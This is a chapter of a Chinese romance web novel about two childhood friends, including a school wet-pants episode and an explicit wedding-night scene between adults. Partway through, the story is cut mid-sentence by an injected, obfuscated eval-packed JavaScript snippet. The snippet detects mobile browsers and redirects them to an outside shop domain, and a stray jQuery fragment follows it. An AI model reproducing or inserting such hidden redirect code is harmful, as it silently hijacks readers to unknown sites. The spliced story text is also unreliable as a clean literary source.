文趣网 > 其他小说 > 先婚后不爱 > 3. 3
    邱蔓矫揉造作地伸出一根食指,点了点扣眼下方的拉链:“这不是有门吗?”

    话音未落,她扑哧一声,显然是脑补了画面,自己把自己逗笑了。

    罗焱现在分辨不出五脏六腑的位置,但即便一团糟他也敢断言他被邱蔓气得肝疼。现在是开玩笑的时候吗?她就不能投入一点,给他一点面子吗?

    然而他敢怒不敢言,只能说:“我里面那件没门。”

    他气得头痛欲裂也只能说不是他不满足邱蔓的(恶)趣味,而是她的提议不可行。

    邱蔓对答如流:“你小时候穿的不都有门吗?”

    “你也说了是小时候!”罗焱在考虑要不要吃一片止疼药了。

    邱蔓讶然地眨眨眼:“你凶我?”

    “我没凶你……”罗焱要凶也是凶自己。相比邱蔓的谈笑风生,他太一板一眼了。他太沉浸在自己的情绪中,做不到张弛有度。

    “那时,”罗焱亡羊补牢,“我们才七岁。”

    换个话题,以便他重整旗鼓。

    “错。”邱蔓说了算,“那时我七岁,你六岁。”

    因为那天,是邱蔓的七岁生日。罗焱比邱蔓小一天。邱蔓的理论是,没过生日就不算长大一岁。

    那时的邱蔓,是班里最受欢迎的女生之一。

    她开朗又大方,三不五时给女生们分发小玩意儿,像是彩纸、贴画之类的,不值钱,但那个年纪的女孩子就是对花里胡哨没有抵抗力。

    班里有个叫黎今安的女生,同样开朗又大方,同样会给女生们分发小玩意儿。久而久之,二人免不了争做课间被人“簇拥”的那一个。

    邱蔓的七岁生日,爸妈给她买了一盒她心心念念的蝴蝶结发卡。庄晓梦不理解女儿的眼光:“你挑两个大的不好吗?买这么一盒小鱼小虾,戴到猴年马月去。”

    邱蔓才不是自己戴。

    五颜六色,和女生们分享最好不过。

    课间,邱蔓又结结实实地满足了一把被女生们里三层、外三层包围的虚荣心,包括黎今安,之前对她的彩纸、贴画没什么兴趣,这一次也两眼冒红心:“蔓蔓,我喜欢这个蓝色的!”

    “送你!”邱蔓对黎今安没有敌意,反倒英雄惜英雄。

    天堂般的课间,换来了地狱般的下一节课。

    邱蔓没顾上上厕所,上课铃一响,她就心说:坏了!

    才经历众星捧月的十分钟,怎么能在这个时候举手跟老师说要去上厕所?她生生憋了四十二分钟。

    为什么是四十二分钟?因为老师拖堂两分钟。女厕所大排长龙。

    来不及了。

    千钧一发,邱蔓经过女厕所,拐弯,闪进存放拖把和水桶的清洁间,尿了裤子。不幸中的万幸,是没人看到。至于不幸,那还用说?她裹着一条湿哒哒的校裤那真是叫天天不应,叫地地不灵。

    那一刻,她觉得她的人生到七岁,也就到头了。

    然而无需她叫天叫地,罗焱敲响了清洁间的门:“邱蔓,你在里面吗?”

    罗焱上课的时候看邱蔓坐在椅子上拧麻花,一看就是尿急。趁老师不注意,他还对邱蔓使眼色来着:你还能坚持吗?

    他的计划是,假如邱蔓坚持不住了,他替她举手,不跟老师说上厕所,就说她头疼。他知道邱蔓要面子,尿急不光彩,头疼是上上策。

    但邱蔓还给他的眼神是:烦死了!

    多年以后他说邱蔓当时的样子和孙悟空那个“烦死了”的表情包一模一样,邱蔓会回敬他:“师父,别念了!”她有时候真觉得罗焱像唐僧一样,总是念念念,念得她逃不掉。

    总之当时,罗焱一片好心也没能救邱蔓,邱蔓还是走到了尿裤子这一步。

    罗焱追着邱蔓到清洁间,才敲响了门,她就打开一道门缝,将他拽了进去。

    “我要转学了。”邱蔓对罗焱宣布。

    她跟他太熟了,不觉得难堪,只是表态说她在这个学校混不下去了。

    罗焱看了一眼邱蔓颜色变深的校裤:“我跟你换。”

    七岁的女生比男生个头猛,二人的校服是同一个码数。顿时,邱蔓眼睛一亮:“对啊,你才六岁!尿裤子也没什么大不了。”

    “我只比你小一天。”

    “对啊!所以你明天才七岁。”

    对什么对……但罗焱无所谓邱蔓的歪理邪说,如果这样能让她心安理得把尿裤子的灾难转嫁给他,他接受。他不能让她被同学笑话,更不想让她转学。她转学,他也想转学,万一他妈不让呢?万一她转了学,交了比他更好的好朋友呢?

    “你转过去。”罗焱准备脱裤子。

    邱蔓的脑回路是:“你没穿裤衩?”

    “穿了!”

    “那我有什么不能看的?我们还在一个盆里洗澡呢。”

    “那是小时候!”

    “现在你也才六岁啊。”

    又绕回来了……罗焱说不过邱蔓,心一横,眼一闭,脱就脱。

    邱蔓看看倒也罢了,还要评价:“你都多大了?还穿卡通裤衩呢?”

    罗焱学以致用:“我才六岁!”

    “这是什么?”邱蔓还弯腰往前凑了凑,“皮卡丘?”

    “我妈买的!”罗焱这一刻衡量不出哆啦A梦和皮卡丘,哪个相对更像男子汉,大概都好不到哪去。但他没瞎说,这个系列的男童内裤,真是他妈的眼光。

    他脸红脖子粗地将脱下的校裤塞给邱蔓:“你快点。”

    不用邱蔓命令,罗焱背过身。

    他还反过来嘱咐邱蔓:“你现在七岁了,要学会保护自己。”

    “我知道,”邱蔓平衡不太好,换裤子的过程中金鸡独立,站不住,蹦了好几下,“但你又不是别人。罗焱,你是罗焱。”

    当时,罗焱心里甜如蜜。

    独一份。

    他是邱蔓最最与众不同的好朋友。

    直到十年后,他才渐渐意识到这份殊荣也是他不折不扣的镣铐。

    二十年后,新婚夜,邱蔓话赶话地提到罗焱小时候穿前面开门的,势必是指他七岁差一天穿的那条皮卡丘图案的男童内裤,毕竟在那之后,他没再给她看过,等她再看到,他早就不穿前面开门的了……

    既然提到了,罗焱有话要说:“我妈觉得我配不上你,就是从这件事开始。”

    庄晓梦和熊昕——也就是邱蔓和罗焱二人的妈,是一对从为人母那天相见恨晚的好朋友。

    庄晓梦大学学的是缅甸语,毕业后在一家油气公司做翻译。

    熊昕曾是一名篮球运动员,退役后开了家儿童体能馆。

    二人从外形,到性格,处处迥异,一个文秀、细腻,另一个英气、仗义,但事事合拍。

    包括二十七年来,二人都觉得罗焱配不上邱蔓。

    先说庄晓梦,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609076|205858||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她待熊昕和罗焱是真心实意,但当妈的,就是“蛮不讲理”地觉得自己的女儿天下第一好,谁也配不上。

    再说熊昕,她的真心实意和庄晓梦不分伯仲,区别只在于她也觉得邱蔓天下第一好,至于自己的儿子,再好,也比不上香喷喷的贴心小棉袄。

    总的来说,罗焱是在爱中长大的,但邱蔓是在偏爱中长大的。

    七岁差一天的罗焱和邱蔓换了校裤后,跑到厕所玩水龙头,化身落汤鸡。

    老师给熊昕打电话,熊昕怒气冲冲赶来学校。这一个“怒”字,不是冲罗焱。知子莫若母,她知道罗焱不是熊孩子,所以怀疑有同学欺负罗焱。

    只能说,幸亏她鼻子灵,赶来后第一件事是从头到脚检查罗焱身上有没有受伤,结果……闻着味儿了。

    母子二人对了个眼神。

    熊昕:尿裤子了?

    罗焱:天知地知,你知我知。

    熊昕这才悬崖勒马,没让老师彻查。果然,儿子不是熊孩子,玩水龙头只是他急中生智。

    说是知子莫若母,熊昕到底还是被罗焱骗了,而且一骗就是二十年。她至今不知道当年尿裤子的另有其人。后来,她还没少拿这件事灭罗焱的威风:“同样是小学一年级,蔓蔓在全校的联欢会上做小主持人,你却在尿裤子。”

    有时候,熊昕说这种话的时候,邱蔓也在场。

    邱蔓从不怀疑罗焱会不会“出卖”她,只管笑盈盈地被熊昕夸上天。

    “要不是干妈天天夸我,你能有这么出类拔萃的一天?”邱蔓边说边解罗焱的西装裤裤腰,“多亏我激励你。”

    罗焱不理会邱蔓大放厥词,只在乎一件事:“还叫干妈?”

    上周摆喜酒,邱蔓对熊昕改口叫了一声妈,但毕竟叫了二十几年的干妈,改口哪能是一朝一夕。

    “还是干妈好。”邱蔓就事论事:“婆婆……怪怪的。”

    罗焱正经:“但老公比朋友好。”

    这是他万万不能让步的。

    要让熊昕一辈子做邱蔓的干妈,他岂不是要一辈子做邱蔓的朋友?

    罗焱有多正经,邱蔓就有多漫不经心:“老公?谁是谁老公?”

    也难怪邱蔓这么问。

    恋爱都没谈过,邱蔓自然没管罗焱叫过老公。

    倒是小时候玩过家家,罗焱管邱蔓叫过老公——当时邱蔓抢着演爸爸,他要和她凑一对,就只能管她喊老公。

    二人有的没的,聊到这里也差不多了。罗焱的西装裤终于被邱蔓磕磕绊绊地扒了下去,只剩聊胜于无的最后一层,那还聊什么?

    邱蔓这辈子第一次见成年男性的“隐私”,见的就是罗焱的。

    那时他也才成年。

    距今过去八九年,不知道是她的记忆有出入,还是罗焱又长了,那时就吓她一跳的家伙,如今变本加厉又吓她一跳。

    显得她这八九年没见过世面似的。

    罗焱对邱蔓目不转睛,看她瑟缩,习惯性地以为是他的问题,用手去遮挡,但手一放上去便被本能支配着给了自己两下甜头。

    “真色啊你。”邱蔓评价罗焱。

    罗焱不确定这是不是褒奖。

    好在,邱蔓没让他提心吊胆太久:“别磨蹭了,快点。”

    快点快点快点……

    就这么小儿科的两个字在罗焱的脑海中循环开来,在无形中炸得他七零八落。